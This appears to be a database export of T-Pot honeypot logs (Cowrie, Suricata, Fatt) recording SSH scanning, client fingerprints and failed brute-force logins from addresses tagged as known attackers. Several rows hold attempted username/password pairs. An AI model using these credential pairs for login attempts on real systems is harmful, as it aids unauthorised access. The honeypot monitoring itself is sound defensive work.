".......)......,.S..|.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35251	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:07:44.116321+03	2021-09-20 15:15:03.01169+03	{"_id": "EwYaA3wBvYTbRNuE31sV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2317, "dest_port": 22, "timestamp": "2021-09-20T12:07:44.116321", "@timestamp": "2021-09-20T12:07:44.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35252	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:07:45.338406+03	2021-09-20 15:15:03.01369+03	{"_id": "FAYaA3wBvYTbRNuE4FvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [winer/hades520] failed", "session": "c3f91eeb35f8", "@version": "1", "password": "hades520", "username": "winer", "timestamp": "2021-09-20T12:07:45.338406Z", "@timestamp": "2021-09-20T12:07:45.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35253	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:07:46.622363+03	2021-09-20 15:15:03.014691+03	{"_id": "FgYaA3wBvYTbRNuE6Ful", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c3f91eeb35f8", "@version": "1", "duration": 2.783400774002075, "timestamp": "2021-09-20T12:07:46.622363Z", "@timestamp": "2021-09-20T12:07:46.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35254	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:07:43.84001+03	2021-09-20 15:15:03.015691+03	{"_id": "DAYaA3wBvYTbRNuE21t6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2317, "timestamp": "2021-09-20T12:07:43.840010", "@timestamp": "2021-09-20T12:07:43.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35255	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:07:43.839246+03	2021-09-20 15:15:03.01769+03	{"_id": "DQYaA3wBvYTbRNuE3Fvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "c3f91eeb35f8", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:07:43.839246Z", "@timestamp": "2021-09-20T12:07:43.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35256	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:07:43.836316+03	2021-09-20 15:15:03.01872+03	{"_id": "DwYaA3wBvYTbRNuE3Fvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2317 (192.168.176.2:22) [session: c3f91eeb35f8]", "session": "c3f91eeb35f8", "@version": "1", "protocol": "ssh", "src_port": 2317, "dest_port": 22, "timestamp": "2021-09-20T12:07:43.836316Z", "@timestamp": "2021-09-20T12:07:43.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35257	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:07:44.116956+03	2021-09-20 15:15:03.01972+03	{"_id": "DgYaA3wBvYTbRNuE3Fvr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c3f91eeb35f8", "@version": "1", "timestamp": "2021-09-20T12:07:44.116956Z", "@timestamp": "2021-09-20T12:07:44.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35258	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:07:53.334726+03	2021-09-20 15:15:03.021693+03	{"_id": "HwYbA3wBvYTbRNuEAFsW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7489647b16b7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:07:53.334726Z", "@timestamp": "2021-09-20T12:07:53.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35260	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:07:44.116223+03	2021-09-20 15:15:03.023691+03	{"_id": "EAYaA3wBvYTbRNuE3lsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 199217655021229, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2317, "dest_port": 22, "timestamp": "2021-09-20T12:07:44.116223Z", "@timestamp": "2021-09-20T12:07:44.116Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35261	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:07:29.460732+03	2021-09-20 15:15:03.02569+03	{"_id": "AQYaA3wBvYTbRNuEo1ts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:29.460732+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 1869017186895804, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 42888, "timestamp": "2021-09-20T12:07:29.460732Z", "@timestamp": "2021-09-20T12:07:29.460Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35262	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:08:02.195301+03	2021-09-20 15:15:03.03869+03	{"_id": "OAYbA3wBvYTbRNuEI1tE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:53890 (192.168.176.2:22) [session: a808d83df426]", "session": "a808d83df426", "@version": "1", "protocol": "ssh", "src_port": 53890, "dest_port": 22, "timestamp": "2021-09-20T12:08:02.195301Z", "@timestamp": "2021-09-20T12:08:02.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35263	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:08:02.198394+03	2021-09-20 15:15:03.039721+03	{"_id": "OQYbA3wBvYTbRNuEI1tE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "a808d83df426", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:08:02.198394Z", "@timestamp": "2021-09-20T12:08:02.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35264	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:08:02.462992+03	2021-09-20 15:15:03.04169+03	{"_id": "OgYbA3wBvYTbRNuEI1tE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "a808d83df426", "@version": "1", "timestamp": "2021-09-20T12:08:02.462992Z", "@timestamp": "2021-09-20T12:08:02.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
45294	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:43:46.987793+03	2021-09-20 16:45:02.760591+03	{"_id": "jQZyA3wBvYTbRNuEyqyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:43:46.987793Z", "@timestamp": "2021-09-20T13:43:46.987Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35265	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:08:02.462611+03	2021-09-20 15:15:03.042692+03	{"_id": "OwYbA3wBvYTbRNuEJFtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 782431265301584, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53890, "dest_port": 22, "timestamp": "2021-09-20T12:08:02.462611Z", "@timestamp": "2021-09-20T12:08:02.462Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35266	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:08:02.200562+03	2021-09-20 15:15:03.04372+03	{"_id": "PQYbA3wBvYTbRNuEJVtu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53890, "timestamp": "2021-09-20T12:08:02.200562", "@timestamp": "2021-09-20T12:08:02.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35267	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:07:54.804871+03	2021-09-20 15:15:03.045692+03	{"_id": "JgYbA3wBvYTbRNuEB1vo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [root/nihao123!@#] failed", "session": "7489647b16b7", "@version": "1", "password": "nihao123!@#", "username": "root", "timestamp": "2021-09-20T12:07:54.804871Z", "@timestamp": "2021-09-20T12:07:54.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
